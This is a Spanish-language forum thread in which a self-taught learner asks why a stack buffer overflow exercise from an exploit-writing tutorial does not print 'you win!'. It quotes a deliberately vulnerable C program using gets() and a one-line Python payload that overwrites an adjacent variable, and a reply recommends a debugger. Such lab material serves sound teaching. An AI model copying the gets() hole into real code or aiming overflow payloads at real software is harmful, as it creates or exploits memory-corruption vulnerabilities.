Ayuda con exploit

Iniciado por theowl, 14 Diciembre 2021, 23:27 PM

0 Miembros y 1 Visitante están viendo este tema.

theowl

Hola!

Estoy aprendiendo de forma autodidacta ensamblador y por cosas de la vida, llegué a un tutorial llamada "Guia para hacer exploits" Leí la teoría y había una práctica sobre desbordamiento de búfer.

El código que dan es este:

#include <stdio.h>

int main() {
        int cookie;
        char buf[80];
       
        printf("buf: %08x cookie: %08x\n", &buf, &cookie);
        gets(buf);

        if (cookie == 0x41424344)
                printf("you win!\n");
}

En la guia explican por qué la función gets() es vulnerable y explican como realizar un pequeño exploit para aprovecharse de la vulnerabilidad.

Este sería el exploit

python -c 'print ("A" * 80 + "\x44\x43\x42\x41")' | ./stack1

Mi pregunta es, porqué no se imprime la cadena "you win!" se supone que al hacer el desbordamiento por sobrepasar los 80 bytes se asigna "\x44\x43\x42\x41" a la variable cookie que es la que esta contigua al array buf dentro de la pila.

Lo irónico es que estoy siguiendo la guia, no se porque no me funciona.
dejo por aca la guia por si alguien quiere echarle un vistazo y darme una luz.
Gracias!

https://fundacion-sadosky.github.io/guia-escritura-exploits/buffer-overflow/1-practica.html

MCKSys Argentina

Hola!

Creo que lo mejor que puedes hacer en estos casos es usar un debugger y ver cómo va trabajando todo, paso a paso.

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."